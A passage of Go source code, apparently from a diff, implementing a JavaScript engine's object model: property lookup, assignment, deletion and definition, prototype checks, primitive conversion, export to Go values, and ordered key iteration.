prop, ok := prop.(*valueProperty); ok { + if receiver == nil { + return prop.get(o.val) + } + return prop.get(receiver) + } + return prop +} + +func (o *baseObject) getOwnPropIdx(idx valueInt) Value { + return o.val.self.getOwnPropStr(idx.string()) +} + +func (o *baseObject) getOwnPropSym(s *Symbol) Value { + if o.symValues != nil { + return o.symValues.get(s) + } + return nil +} + +func (o *baseObject) getOwnPropStr(name unistring.String) Value { + return o.values[name] +} + +func (o *baseObject) checkDeleteProp(name unistring.String, prop *valueProperty, throw bool) bool { + if !prop.configurable { + if throw { + r := o.val.runtime + panic(r.NewTypeError("Cannot delete property '%s' of %s", name, r.objectproto_toString(FunctionCall{This: o.val}))) + } + return false + } + return true +} + +func (o *baseObject) checkDelete(name unistring.String, val Value, throw bool) bool { + if val, ok := val.(*valueProperty); ok { + return o.checkDeleteProp(name, val, throw) + } + return true +} + +func (o *baseObject) _delete(name unistring.String) { + delete(o.values, name) + for i, n := range o.propNames { + if n == name { + names := o.propNames + if namesMarkedForCopy(names) { + newNames := make([]unistring.String, len(names)-1, shrinkCap(len(names), cap(names))) + copy(newNames, names[:i]) + copy(newNames[i:], names[i+1:]) + o.propNames = newNames + } else { + copy(names[i:], names[i+1:]) + names[len(names)-1] = "" + o.propNames = names[:len(names)-1] + } + if i < o.lastSortedPropLen { + o.lastSortedPropLen-- + if i < o.idxPropCount { + o.idxPropCount-- + } + } + break + } + } +} + +func (o *baseObject) deleteIdx(idx valueInt, throw bool) bool { + return o.val.self.deleteStr(idx.string(), throw) +} + +func (o *baseObject) deleteSym(s *Symbol, throw bool) bool { + if o.symValues != nil { + if val := o.symValues.get(s); val != nil { + if !o.checkDelete(s.descriptiveString().string(), val, throw) { + return false + } + o.symValues.remove(s) + } + } + return true +} + +func (o *baseObject) deleteStr(name unistring.String, throw bool) bool { + if val, exists := o.values[name]; exists { + if !o.checkDelete(name, val, throw) { + return false + } + o._delete(name) + } + return true +} + +func (o *baseObject) setProto(proto *Object, throw bool) bool { + current := o.prototype + if current.SameAs(proto) { + return true + } + if !o.extensible { + o.val.runtime.typeErrorResult(throw, "%s is not extensible", o.val) + return false + } + for p := proto; p != nil; p = p.self.proto() { + if p.SameAs(o.val) { + o.val.runtime.typeErrorResult(throw, "Cyclic __proto__ value") + return false + } + if _, ok := p.self.(*proxyObject); ok { + break + } + } + o.prototype = proto + return true +} + +func (o *baseObject) setOwnStr(name unistring.String, val Value, throw bool) bool { + ownDesc := o.values[name] + if ownDesc == nil { + if proto := o.prototype; proto != nil { + // we know it's foreign because prototype loops are not allowed + if res, handled := proto.self.setForeignStr(name, val, o.val, throw); handled { + return res + } + } + // new property + if !o.extensible { + o.val.runtime.typeErrorResult(throw, "Cannot add property %s, object is not extensible", name) + return false + } else { + o.values[name] = val + names := copyNamesIfNeeded(o.propNames, 1) + o.propNames = append(names, name) + } + return true + } + if prop, ok := ownDesc.(*valueProperty); ok { + if !prop.isWritable() { + o.val.runtime.typeErrorResult(throw, "Cannot assign to read only property '%s'", name) + return false + } else { + prop.set(o.val, val) + } + } else { + o.values[name] = val + } + return true +} + +func (o *baseObject) setOwnIdx(idx valueInt, val Value, throw bool) bool { + return o.val.self.setOwnStr(idx.string(), val, throw) +} + +func (o *baseObject) setOwnSym(name *Symbol, val Value, throw bool) bool { + var ownDesc Value + if o.symValues != nil { + ownDesc = o.symValues.get(name) + } + if ownDesc == nil { + if proto := o.prototype; proto != nil { + // we know it's foreign because prototype loops are not allowed + if res, handled := proto.self.setForeignSym(name, val, o.val, throw); handled { + return res + } + } + // new property + if !o.extensible { + o.val.runtime.typeErrorResult(throw, "Cannot add property %s, object is not extensible", name) + return false + } else { + if o.symValues == nil { + o.symValues = newOrderedMap(nil) + } + o.symValues.set(name, val) + } + return true + } + if prop, ok := ownDesc.(*valueProperty); ok { + if !prop.isWritable() { + o.val.runtime.typeErrorResult(throw, "Cannot assign to read only property '%s'", name) + return false + } else { + prop.set(o.val, val) + } + } else { + o.symValues.set(name, val) + } + return true +} + +func (o *baseObject) _setForeignStr(name unistring.String, prop, val, receiver Value, throw bool) (bool, bool) { + if prop != nil { + if prop, ok := prop.(*valueProperty); ok { + if !prop.isWritable() { + o.val.runtime.typeErrorResult(throw, "Cannot assign to read only property '%s'", name) + return false, true + } + if prop.setterFunc != nil { + prop.set(receiver, val) + return true, true + } + } + } else { + if proto := o.prototype; proto != nil { + if receiver != proto { + return proto.self.setForeignStr(name, val, receiver, throw) + } + return proto.self.setOwnStr(name, val, throw), true + } + } + return false, false +} + +func (o *baseObject) _setForeignIdx(idx valueInt, prop, val, receiver Value, throw bool) (bool, bool) { + if prop != nil { + if prop, ok := prop.(*valueProperty); ok { + if !prop.isWritable() { + o.val.runtime.typeErrorResult(throw, "Cannot assign to read only property '%d'", idx) + return false, true + } + if prop.setterFunc != nil { + prop.set(receiver, val) + return true, true + } + } + } else { + if proto := o.prototype; proto != nil { + if receiver != proto { + return proto.self.setForeignIdx(idx, val, receiver, throw) + } + return proto.self.setOwnIdx(idx, val, throw), true + } + } + return false, false +} + +func (o *baseObject) setForeignStr(name unistring.String, val, receiver Value, throw bool) (bool, bool) { + return o._setForeignStr(name, o.values[name], val, receiver, throw) +} + +func (o *baseObject) setForeignIdx(name valueInt, val, receiver Value, throw bool) (bool, bool) { + if idx := toIdx(name); idx != math.MaxUint32 { + o.ensurePropOrder() + if o.idxPropCount == 0 { + return o._setForeignIdx(name, name, nil, receiver, throw) + } + } + return o.setForeignStr(name.string(), val, receiver, throw) +} + +func (o *baseObject) setForeignSym(name *Symbol, val, receiver Value, throw bool) (bool, bool) { + var prop Value + if o.symValues != nil { + prop = o.symValues.get(name) + } + if prop != nil { + if prop, ok := prop.(*valueProperty); ok { + if !prop.isWritable() { + o.val.runtime.typeErrorResult(throw, "Cannot assign to read only property '%s'", name) + return false, true + } + if prop.setterFunc != nil { + prop.set(receiver, val) + return true, true + } + } + } else { + if proto := o.prototype; proto != nil { + if receiver != o.val { + return proto.self.setForeignSym(name, val, receiver, throw) + } + return proto.self.setOwnSym(name, val, throw), true + } + } + return false, false +} + +func (o *baseObject) hasOwnPropertySym(s *Symbol) bool { + if o.symValues != nil { + return o.symValues.has(s) + } + return false +} + +func (o *baseObject) hasOwnPropertyStr(name unistring.String) bool { + _, exists := o.values[name] + return exists +} + +func (o *baseObject) hasOwnPropertyIdx(idx valueInt) bool { + return o.val.self.hasOwnPropertyStr(idx.string()) +} + +func (o *baseObject) _defineOwnProperty(name unistring.String, existingValue Value, descr PropertyDescriptor, throw bool) (val Value, ok bool) { + + getterObj, _ := descr.Getter.(*Object) + setterObj, _ := descr.Setter.(*Object) + + var existing *valueProperty + + if existingValue == nil { + if !o.extensible { + o.val.runtime.typeErrorResult(throw, "Cannot define property %s, object is not extensible", name) + return nil, false + } + existing = &valueProperty{} + } else { + if existing, ok = existingValue.(*valueProperty); !ok { + existing = &valueProperty{ + writable: true, + enumerable: true, + configurable: true, + value: existingValue, + } + } + + if !existing.configurable { + if descr.Configurable == FLAG_TRUE { + goto Reject + } + if descr.Enumerable != FLAG_NOT_SET && descr.Enumerable.Bool() != existing.enumerable { + goto Reject + } + } + if existing.accessor && descr.Value != nil || !existing.accessor && (getterObj != nil || setterObj != nil) { + if !existing.configurable { + goto Reject + } + } else if !existing.accessor { + if !existing.configurable { + if !existing.writable { + if descr.Writable == FLAG_TRUE { + goto Reject + } + if descr.Value != nil && !descr.Value.SameAs(existing.value) { + goto Reject + } + } + } + } else { + if !existing.configurable { + if descr.Getter != nil && existing.getterFunc != getterObj || descr.Setter != nil && existing.setterFunc != setterObj { + goto Reject + } + } + } + } + + if descr.Writable == FLAG_TRUE && descr.Enumerable == FLAG_TRUE && descr.Configurable == FLAG_TRUE && descr.Value != nil { + return descr.Value, true + } + + if descr.Writable != FLAG_NOT_SET { + existing.writable = descr.Writable.Bool() + } + if descr.Enumerable != FLAG_NOT_SET { + existing.enumerable = descr.Enumerable.Bool() + } + if descr.Configurable != FLAG_NOT_SET { + existing.configurable = descr.Configurable.Bool() + } + + if descr.Value != nil { + existing.value = descr.Value + existing.getterFunc = nil + existing.setterFunc = nil + } + + if descr.Value != nil || descr.Writable != FLAG_NOT_SET { + existing.accessor = false + } + + if descr.Getter != nil { + existing.getterFunc = propGetter(o.val, descr.Getter, o.val.runtime) + existing.value = nil + existing.accessor = true + } + + if descr.Setter != nil { + existing.setterFunc = propSetter(o.val, descr.Setter, o.val.runtime) + existing.value = nil + existing.accessor = true + } + + if !existing.accessor && existing.value == nil { + existing.value = _undefined + } + + return existing, true + +Reject: + o.val.runtime.typeErrorResult(throw, "Cannot redefine property: %s", name) + return nil, false + +} + +func (o *baseObject) defineOwnPropertyStr(name unistring.String, descr PropertyDescriptor, throw bool) bool { + existingVal := o.values[name] + if v, ok := o._defineOwnProperty(name, existingVal, descr, throw); ok { + o.values[name] = v + if existingVal == nil { + names := copyNamesIfNeeded(o.propNames, 1) + o.propNames = append(names, name) + } + return true + } + return false +} + +func (o *baseObject) defineOwnPropertyIdx(idx valueInt, desc PropertyDescriptor, throw bool) bool { + return o.val.self.defineOwnPropertyStr(idx.string(), desc, throw) +} + +func (o *baseObject) defineOwnPropertySym(s *Symbol, descr PropertyDescriptor, throw bool) bool { + var existingVal Value + if o.symValues != nil { + existingVal = o.symValues.get(s) + } + if v, ok := o._defineOwnProperty(s.descriptiveString().string(), existingVal, descr, throw); ok { + if o.symValues == nil { + o.symValues = newOrderedMap(nil) + } + o.symValues.set(s, v) + return true + } + return false +} + +func (o *baseObject) _put(name unistring.String, v Value) { + if _, exists := o.values[name]; !exists { + names := copyNamesIfNeeded(o.propNames, 1) + o.propNames = append(names, name) + } + + o.values[name] = v +} + +func valueProp(value Value, writable, enumerable, configurable bool) Value { + if writable && enumerable && configurable { + return value + } + return &valueProperty{ + value: value, + writable: writable, + enumerable: enumerable, + configurable: configurable, + } +} + +func (o *baseObject) _putProp(name unistring.String, value Value, writable, enumerable, configurable bool) Value { + prop := valueProp(value, writable, enumerable, configurable) + o._put(name, prop) + return prop +} + +func (o *baseObject) _putSym(s *Symbol, prop Value) { + if o.symValues == nil { + o.symValues = newOrderedMap(nil) + } + o.symValues.set(s, prop) +} + +func (o *baseObject) getPrivateEnv(typ *privateEnvType, create bool) *privateElements { + env := o.privateElements[typ] + if env != nil && create { + panic(o.val.runtime.NewTypeError("Private fields for the class have already been set")) + } + if env == nil && create { + env = &privateElements{ + fields: make([]Value, typ.numFields), + } + if o.privateElements == nil { + o.privateElements = make(map[*privateEnvType]*privateElements) + } + o.privateElements[typ] = env + } + return env +} + +func (o *Object) tryPrimitive(methodName unistring.String) Value { + if method, ok := o.self.getStr(methodName, nil).(*Object); ok { + if call, ok := method.self.assertCallable(); ok { + v := call(FunctionCall{ + This: o, + }) + if _, fail := v.(*Object); !fail { + return v + } + } + } + return nil +} + +func (o *Object) ordinaryToPrimitiveNumber() Value { + if v := o.tryPrimitive("valueOf"); v != nil { + return v + } + + if v := o.tryPrimitive("toString"); v != nil { + return v + } + + panic(o.runtime.NewTypeError("Could not convert %v to primitive", o.self)) +} + +func (o *Object) ordinaryToPrimitiveString() Value { + if v := o.tryPrimitive("toString"); v != nil { + return v + } + + if v := o.tryPrimitive("valueOf"); v != nil { + return v + } + + panic(o.runtime.NewTypeError("Could not convert %v (%T) to primitive", o.self, o.self)) +} + +func (o *Object) tryExoticToPrimitive(hint Value) Value { + exoticToPrimitive := toMethod(o.self.getSym(SymToPrimitive, nil)) + if exoticToPrimitive != nil { + ret := exoticToPrimitive(FunctionCall{ + This: o, + Arguments: []Value{hint}, + }) + if _, fail := ret.(*Object); !fail { + return ret + } + panic(o.runtime.NewTypeError("Cannot convert object to primitive value")) + } + return nil +} + +func (o *Object) toPrimitiveNumber() Value { + if v := o.tryExoticToPrimitive(hintNumber); v != nil { + return v + } + + return o.ordinaryToPrimitiveNumber() +} + +func (o *Object) toPrimitiveString() Value { + if v := o.tryExoticToPrimitive(hintString); v != nil { + return v + } + + return o.ordinaryToPrimitiveString() +} + +func (o *Object) toPrimitive() Value { + if v := o.tryExoticToPrimitive(hintDefault); v != nil { + return v + } + return o.ordinaryToPrimitiveNumber() +} + +func (o *baseObject) assertCallable() (func(FunctionCall) Value, bool) { + return nil, false +} + +func (o *baseObject) vmCall(vm *vm, _ int) { + panic(vm.r.NewTypeError("Not a function: %s", o.val.toString())) +} + +func (o *baseObject) assertConstructor() func(args []Value, newTarget *Object) *Object { + return nil +} + +func (o *baseObject) proto() *Object { + return o.prototype +} + +func (o *baseObject) isExtensible() bool { + return o.extensible +} + +func (o *baseObject) preventExtensions(bool) bool { + o.extensible = false + return true +} + +func (o *baseObject) sortLen() int { + return toIntStrict(toLength(o.val.self.getStr("length", nil))) +} + +func (o *baseObject) sortGet(i int) Value { + return o.val.self.getIdx(valueInt(i), nil) +} + +func (o *baseObject) swap(i int, j int) { + ii := valueInt(i) + jj := valueInt(j) + + x := o.val.self.getIdx(ii, nil) + y := o.val.self.getIdx(jj, nil) + + o.val.self.setOwnIdx(ii, y, false) + o.val.self.setOwnIdx(jj, x, false) +} + +func (o *baseObject) export(ctx *objectExportCtx) interface{} { + if v, exists := ctx.get(o.val); exists { + return v + } + keys := o.stringKeys(false, nil) + m := make(map[string]interface{}, len(keys)) + ctx.put(o.val, m) + for _, itemName := range keys { + itemNameStr := itemName.String() + v := o.val.self.getStr(itemName.string(), nil) + if v != nil { + m[itemNameStr] = exportValue(v, ctx) + } else { + m[itemNameStr] = nil + } + } + + return m +} + +func (o *baseObject) exportType() reflect.Type { + return reflectTypeMap +} + +func genericExportToMap(o *Object, dst reflect.Value, typ reflect.Type, ctx *objectExportCtx) error { + dst.Set(reflect.MakeMap(typ)) + ctx.putTyped(o, typ, dst.Interface()) + keyTyp := typ.Key() + elemTyp := typ.Elem() + needConvertKeys := !reflectTypeString.AssignableTo(keyTyp) + iter := &enumerableIter{ + o: o, + wrapped: o.self.iterateStringKeys(), + } + r := o.runtime + for item, next := iter.next(); next != nil; item, next = next() { + var kv reflect.Value + var err error + if needConvertKeys { + kv = reflect.New(keyTyp).Elem() + err = r.toReflectValue(item.name, kv, ctx) + if err != nil { + return fmt.Errorf("could not convert map key %s to %v: %w", item.name.String(), typ, err) + } + } else { + kv = reflect.ValueOf(item.name.String()) + } + + ival := o.self.getStr(item.name.string(), nil) + if ival != nil { + vv := reflect.New(elemTyp).Elem() + err = r.toReflectValue(ival, vv, ctx) + if err != nil { + return fmt.Errorf("could not convert map value %v to %v at key %s: %w", ival, typ, item.name.String(), err) + } + dst.SetMapIndex(kv, vv) + } else { + dst.SetMapIndex(kv, reflect.Zero(elemTyp)) + } + } + + return nil +} + +func (o *baseObject) exportToMap(m reflect.Value, typ reflect.Type, ctx *objectExportCtx) error { + return genericExportToMap(o.val, m, typ, ctx) +} + +func genericExportToArrayOrSlice(o *Object, dst reflect.Value, typ reflect.Type, ctx *objectExportCtx) (err error) { + r := o.runtime + + if method := toMethod(r.getV(o, SymIterator)); method != nil { + // iterable + + var values []Value + // cannot change (append to) the slice once it's been put into the cache, so we need to know its length beforehand + ex := r.try(func() { + values = r.iterableToList(o, method) + }) + if ex != nil { + return ex + } + if typ.Kind() == reflect.Array { + if dst.Len() != len(values) { + return fmt.Errorf("cannot convert an iterable into an array, lengths mismatch (have %d, need %d)", len(values), dst.Len()) + } + } else { + dst.Set(reflect.MakeSlice(typ, len(values), len(values))) + } + ctx.putTyped(o, typ, dst.Interface()) + for i, val := range values { + err = r.toReflectValue(val, dst.Index(i), ctx) + if err != nil { + return + } + } + } else { + // array-like + var lp Value + if _, ok := o.self.assertCallable(); !ok { + lp = o.self.getStr("length", nil) + } + if lp == nil { + return fmt.Errorf("cannot convert %v to %v: not an array or iterable", o, typ) + } + l := toIntStrict(toLength(lp)) + if dst.Len() != l { + if typ.Kind() == reflect.Array { + return fmt.Errorf("cannot convert an array-like object into an array, lengths mismatch (have %d, need %d)", l, dst.Len()) + } else { + dst.Set(reflect.MakeSlice(typ, l, l)) + } + } + ctx.putTyped(o, typ, dst.Interface()) + for i := 0; i < l; i++ { + val := nilSafe(o.self.getIdx(valueInt(i), nil)) + err = r.toReflectValue(val, dst.Index(i), ctx) + if err != nil { + return + } + } + } + + return +} + +func (o *baseObject) exportToArrayOrSlice(dst reflect.Value, typ reflect.Type, ctx *objectExportCtx) error { + return genericExportToArrayOrSlice(o.val, dst, typ, ctx) +} + +type enumerableFlag int + +const ( + _ENUM_UNKNOWN enumerableFlag = iota + _ENUM_FALSE + _ENUM_TRUE +) + +type propIterItem struct { + name Value + value Value + enumerable enumerableFlag +} + +type objectPropIter struct { + o *baseObject + propNames []unistring.String + idx int +} + +type recursivePropIter struct { + o objectImpl + cur iterNextFunc + seen map[unistring.String]struct{} +} + +type enumerableIter struct { + o *Object + wrapped iterNextFunc +} + +func (i *enumerableIter) next() (propIterItem, iterNextFunc) { + for { + var item propIterItem + item, i.wrapped = i.wrapped() + if i.wrapped == nil { + return item, nil + } + if item.enumerable == _ENUM_FALSE { + continue + } + if item.enumerable == _ENUM_UNKNOWN { + var prop Value + if item.value == nil { + prop = i.o.getOwnProp(item.name) + } else { + prop = item.value + } + if prop == nil { + continue + } + if prop, ok := prop.(*valueProperty); ok { + if !prop.enumerable { + continue + } + } + } + return item, i.next + } +} + +func (i *recursivePropIter) next() (propIterItem, iterNextFunc) { + for { + var item propIterItem + item, i.cur = i.cur() + if i.cur == nil { + if proto := i.o.proto(); proto != nil { + i.cur = proto.self.iterateStringKeys() + i.o = proto.self + continue + } + return propIterItem{}, nil + } + name := item.name.string() + if _, exists := i.seen[name]; !exists { + i.seen[name] = struct{}{} + return item, i.next + } + } +} + +func enumerateRecursive(o *Object) iterNextFunc { + return (&enumerableIter{ + o: o, + wrapped: (&recursivePropIter{ + o: o.self, + cur: o.self.iterateStringKeys(), + seen: make(map[unistring.String]struct{}), + }).next, + }).next +} + +func (i *objectPropIter) next() (propIterItem, iterNextFunc) { + for i.idx < len(i.propNames) { + name := i.propNames[i.idx] + i.idx++ + prop := i.o.values[name] + if prop != nil { + return propIterItem{name: stringValueFromRaw(name), value: prop}, i.next + } + } + clearNamesCopyMarker(i.propNames) + return propIterItem{}, nil +} + +var copyMarker = unistring.String(" ") + +// Set a copy-on-write flag so that any subsequent modifications of anything below the current length +// trigger a copy. +// The marker is a special value put at the index position of cap-1. Capacity is set so that the marker is +// beyond the current length (therefore invisible to normal slice operations). +// This function is called before an iteration begins to avoid copying of the names array if +// there are no modifications within the iteration. +// Note that the copying also occurs in two cases: nested iterations (on the same object) and +// iterations after a previously abandoned iteration (because there is currently no mechanism to close an +// iterator). It is still better than copying every time. +func prepareNamesForCopy(names []unistring.String) []unistring.String { + if len(names) == 0 { + return names + } + if namesMarkedForCopy(names) || cap(names) == len(names) { + var newcap int + if cap(names) == len(names) { + newcap = growCap(len(names)+1, len(names), cap(names)) + } else { + newcap = cap(names) + } + newNames := make([]unistring.String, len(names), newcap) + copy(newNames, names) + names = newNames + } + names[cap(names)-1 : cap(names)][0] = copyMarker + return names +} + +func namesMarkedForCopy(names []unistring.String) bool { + return cap(names) > len(names) && names[cap(names)-1 : cap(names)][0] == copyMarker +} + +func clearNamesCopyMarker(names []unistring.String) { + if cap(names) > len(names) { + names[cap(names)-1 : cap(names)][0] = "" + } +} + +func copyNamesIfNeeded(names []unistring.String, extraCap int) []unistring.String { + if namesMarkedForCopy(names) && len(names)+extraCap >= cap(names) { + var newcap int + newsize := len(names) + extraCap + 1 + if newsize > cap(names) { + newcap = growCap(newsize, len(names), cap(names)) + } else { + newcap = cap(names) + } + newNames := make([]unistring.String, len(names), newcap) + copy(newNames, names) + return newNames + } + return names +} + +func (o *baseObject) iterateStringKeys() iterNextFunc { + o.ensurePropOrder() + propNames := prepareNamesForCopy(o.propNames) + o.propNames = propNames + return (&objectPropIter{ + o: o, + propNames: propNames, + }).next +} + +type objectSymbolIter struct { + iter *orderedMapIter +} + +func (i *objectSymbolIter) next() (propIterItem, iterNextFunc) { + entry := i.iter.next() + if entry != nil { + return propIterItem{ + name: entry.key, + value: entry.value, + }, i.next + } + return propIterItem{}, nil +} + +func (o *baseObject) iterateSymbols() iterNextFunc { + if o.symValues != nil { + return (&objectSymbolIter{ + iter: o.symValues.newIter(), + }).next + } + return func() (propIterItem, iterNextFunc) { + return propIterItem{}, nil + } +} + +type objectAllPropIter struct { + o *Object + curStr iterNextFunc +} + +func (i *objectAllPropIter) next() (propIterItem, iterNextFunc) { + item, next := i.curStr() + if next != nil { + i.curStr = next + return item, i.next + } + return i.o.self.iterateSymbols()() +} + +func (o *baseObject) iterateKeys() iterNextFunc { + return (&objectAllPropIter{ + o: o.val, + curStr: o.val.self.iterateStringKeys(), + }).next +} + +func (o *baseObject) equal(objectImpl) bool { + // Rely on parent reference comparison + return false +} + +// hopefully this gets inlined +func (o *baseObject) ensurePropOrder() { + if o.lastSortedPropLen < len(o.propNames) { + o.fixPropOrder() + } +} + +// Reorder property names so that any integer properties are shifted to the beginning of the list +// in ascending order. This is to conform to https://262.ecma-international.org/#sec-ordinaryownpropertykeys. +// Personally I think this requirement is strange. I can sort of understand where they are coming from, +// this way arrays can be specified just as objects with a 'magic' length property. However, I think +// it's safe to assume most devs don't use Objects to store integer properties. Therefore, performing +// property type checks when adding (and potentially looking up) properties would be unreasonable. +// Instead, we keep insertion order and only change it when (if) the properties get enumerated. +func (o *baseObject) fixPropOrder() { + names := o.propNames + for i := o.lastSortedPropLen; i < len(names); i++ { + name := names[i] + if idx := strToArrayIdx(name); idx != math.MaxUint32 { + k := sort.Search(o.idxPropCount, func(j int) bool { + return strToArrayIdx(names[j]) >= idx + }) + if k < i { + if namesMarkedForCopy(names) { + newNames := make([]unistring.String, len(names), cap(names)) + copy(newNames[:k], names) + copy(newNames[k+1:i+1], names[k:i]) + copy(newNames[i+1:], names[i+1:]) + names = newNames + o.propNames = names + } else { + copy(names[k+1:i+1], names[k:i]) + } + names[k] = name + } + o.idxPropCount++ + } + } + o.lastSortedPropLen = len(names) +} + +func (o *baseObject) stringKeys(all bool, keys []Value) []Value { + o.ensurePropOrder() + if all { + for _, k := range o.propNames { + keys = append(keys, stringValueFromRaw(k)) + } + } else { + for _, k := range o.propNames { + prop := o.values[k] + if prop, ok := prop.(*valueProperty); ok && !prop.enumerable { + continue + } + keys = append(keys, stringValueFromRaw(k)) + } + } + return keys +} + +func (o *baseObject) symbols(all bool, accum []Value) []Value { + if o.symValues != nil { + iter := o.symValues.newIter() + if all { + for { + entry := iter.next() + if entry == nil { + break + } + accum = append(accum, entry.key) + } + } else { + for { + entry := iter.next() + if entry == nil { + break + } + if prop, ok := entry.value.(*valueProperty); ok { + if !prop.enumerable { + continue + } + } + accum = append(accum, entry.key) + } + } + } + + return accum +} + +func (o *baseObject) keys(all bool, accum []Value) []Value { + return o.symbols(all, o.val.self.stringKeys(all, accum)) +} + +func (o *baseObject) hasInstance(Value) bool { + panic(o.val.runtime.NewTypeError("Expecting a function in instanceof check, but got %s", o.val.toString())) +} + +func toMethod(v Value) func(FunctionCall) Value { + if v == nil || IsUndefined(v) || IsNull(v) { + return nil + } + if obj, ok := v.(*Object); ok { + if call, ok := obj.self.assertCallable(); ok { + return call + } + } + panic(newTypeError("%s is not a method", v.String())) +} + +func instanceOfOperator(o Value, c *Object) bool { + if instOfHandler := toMethod(c.self.getSym(SymHasInstance, c)); instOfHandler != nil { + return instOfHandler(FunctionCall{ + This: c, + Arguments: []Value{o}, + }).ToBoolean() + } + + return c.self.hasInstance(o) +} + +func (o *Object) get(p Value, receiver Value) Value { + switch p := p.(type) { + case valueInt: + return o.self.getIdx(p, receiver) + case *Symbol: + return o.self.getSym(p, receiver) + default: + return o.self.getStr(p.string(), receiver) + } +} + +func (o *Object) getOwnProp(p Value) Value { + switch p := p.(type) { + case valueInt: + return o.self.getOwnPropIdx(p) + case *Symbol: + return o.self.getOwnPropSym(p) + default: + return o.self.getOwnPropStr(p.string()) + } +} + +func (o *Object) hasOwnProperty(p Value) bool { + switch p := p.(type) { + case valueInt: + return o.self.hasOwnPropertyIdx(p) + case *Symbol: + return o.self.hasOwnPropertySym(p) + default: + return o.self.hasOwnPropertyStr(p.string()) + } +} + +func (o *Object) hasProperty(p Value) bool { + switch p := p.(type) { + case valueInt: + return o.self.hasPropertyIdx(p) + case *Symbol: + return o.self.hasPropertySym(p) + default: + return o.self.hasPropertyStr(p.string()) + } +} + +func (o *Object) setStr(name unistring.String, val, receiver Value, throw bool) bool { + if receiver == o { + return o.self.setOwnStr(name, val, throw) + } else { + if res, ok := o.self.setForeignStr(name, val, receiver, throw); !ok { + if robj, ok := receiver.(*Object); ok { + if prop := robj.self.getOwnPropStr(name); prop != nil { + if desc, ok := prop.(*valueProperty); ok { + if desc.accessor { + o.runtime.typeErrorResult(throw, "Receiver property %s is an accessor", name) + return false + } + if !desc.writable { + o.runtime.typeErrorResult(throw, "Cannot assign to read only property '%s'", name) + return false + } + } + return robj.self.defineOwnPropertyStr(name, PropertyDescriptor{Value: val}, throw) + } else { + return robj.self.defineOwnPropertyStr(name, PropertyDescriptor{ + Value: val, + Writable: FLAG_TRUE, + Configurable: FLAG_TRUE, + Enumerable: FLAG_TRUE, + }, throw) + } + } else { + o.runtime.typeErrorResult(throw, "Receiver is not an object: %v", receiver) + return false + } + } else { + return res + } + } +} + +func (o *Object) set(name Value, val, receiver Value, throw bool) bool { + switch name := name.(type) { + case valueInt: + return o.setIdx(name, val, receiver, throw) + case *Symbol: + return o.setSym(name, val, receiver, throw) + default: + return o.setStr(name.string(), val, receiver, throw) + } +} + +func (o *Object) setOwn(name Value, val Value, throw bool) bool { + switch name := name.(type) { + case valueInt: + return o.self.setOwnIdx(name, val, throw) + case *Symbol: + return o.self.setOwnSym(name, val, throw) + default: + return o.self.setOwnStr(name.string(), val, throw) + } +} + +func (o *Object) setIdx(name valueInt, val, receiver Value, throw bool) bool { + if receiver == o { + return o.self.setOwnIdx(name, val, throw) + } else { + if res, ok := o.self.setForeignIdx(name, val, receiver, throw); !ok { + if robj, ok := receiver.(*Object); ok { + if prop := robj.self.getOwnPropIdx(name); prop != nil { + if desc, ok := prop.(*valueProperty); ok { + if desc.accessor { + o.runtime.typeErrorResult(throw, "Receiver property %s is an accessor", name) + return false + } + if !desc.writable { + o.runtime.typeErrorResult(throw, "Cannot assign to read only property '%s'", name) + return false + } + } + robj.self.defineOwnPropertyIdx(name, PropertyDescriptor{Value: val}, throw) + } else { + robj.self.defineOwnPropertyIdx(name, PropertyDescriptor{ + Value: val, + Writable: FLAG_TRUE, + Configurable: FLAG_TRUE, + Enumerable: FLAG_TRUE, + }, throw) + } + } else { + o.runtime.typeErrorResult(throw, "Receiver is not an object: %v", receiver) + return false + } + } else { + return res + } + } + return true +} + +func (o *Object) setSym(name *Symbol, val, receiver Value, throw bool) bool { + if receiver == o { + return o.self.setOwnSym(name, val, throw) + } else { + if res, ok := o.self.setForeignSym(name, val, receiver, throw); !ok { + if robj, ok := receiver.(*Object); ok { + if prop := robj.self.getOwnPropSym(name); prop != nil { + if desc, ok := prop.(*valueProperty); ok { + if desc.accessor { + o.runtime.typeErrorResult(throw, "Receiver property %s is an accessor", name) + return false + } + if !desc.writable { + o.runtime.typeErrorResult(throw, "Cannot assign to read only property '%s'", name) + return false + } + } + robj.self.defineOwnPropertySym(name, PropertyDescriptor{Value: val}, throw) + } else { + robj.self.defineOwnPropertySym(name, PropertyDescriptor{ + Value: val, + Writable: FLAG_TRUE, + Configurable: FLAG_TRUE, + Enumerable: FLAG_TRUE, + }, throw) + } + } else { + o.runtime.typeErrorResult(throw, "Receiver is not an object: %v", receiver) + return false + } + } else { + return res + } + } + return true +} + +func (o *Object) delete(n Value, throw bool) bool { + switch n := n.(type) { + case valueInt: + return o.self.deleteIdx(n, throw) + case *Symbol: + return o.self.deleteSym(n, throw) + default: + return o.self.deleteStr(n.string(), throw) + } +} + +func (o *Object) defineOwnProperty(n Value, desc PropertyDescriptor, throw bool) bool { + switch n := n.(type) { + case valueInt: + return o.self.defineOwnPropertyIdx(n, desc, throw) + case *Symbol: + return o.self.defineOwnPropertySym(n, desc, throw) + default: + return o.self.defineOwnPropertyStr(n.string(), desc, throw) + } +} + +func (o *Object) getWeakRefs() map[weakMap]Value { + refs := o.weakRefs + if refs == nil { + refs = make(map[weakMap]Value) + o.weakRefs = refs + } + return refs +} + +func (o *Object) getId() uint64 { + id := o.id + if id == 0 { + id = o.runtime.genId() + o.id = id + } + return id +} + +func (o *guardedObject) guard(props ...unistring.String) { + if o.guardedProps == nil { + o.guardedProps = make(map[unistring.String]struct{}) + } + for _, p := range props { + o.guardedProps[p] = struct{}{} + } +} + +func (o *guardedObject) check(p unistring.String) { + if _, exists := o.guardedProps[p]; exists { + o.val.self = &o.baseObject + } +} + +func (o *guardedObject) setOwnStr(p unistring.String, v Value, throw bool) bool { + res := o.baseObject.setOwnStr(p, v, throw) + if res { + o.check(p) + } + return res +} + +func (o *guardedObject) defineOwnPropertyStr(name unistring.String, desc PropertyDescriptor, throw bool) bool { + res := o.baseObject.defineOwnPropertyStr(name, desc, throw) + if res { + o.check(name) + } + return res +} + +func (o *guardedObject) deleteStr(name unistring.String, throw bool) bool { + res := o.baseObject.deleteStr(name, throw) + if res { + o.check(name) + } + return res +} + +func (ctx *objectExportCtx) get(key *Object) (interface{}, bool) { + if v, exists := ctx.cache[key]; exists { + if item, ok := v.(objectExportCacheItem); ok { + r, exists := item[key.self.exportType()] + return r, exists + } else { + return v, true + } + } + return nil, false +} + +func (ctx *objectExportCtx) getTyped(key *Object, typ reflect.Type) (interface{}, bool) { + if v, exists := ctx.cache[key]; exists { + if 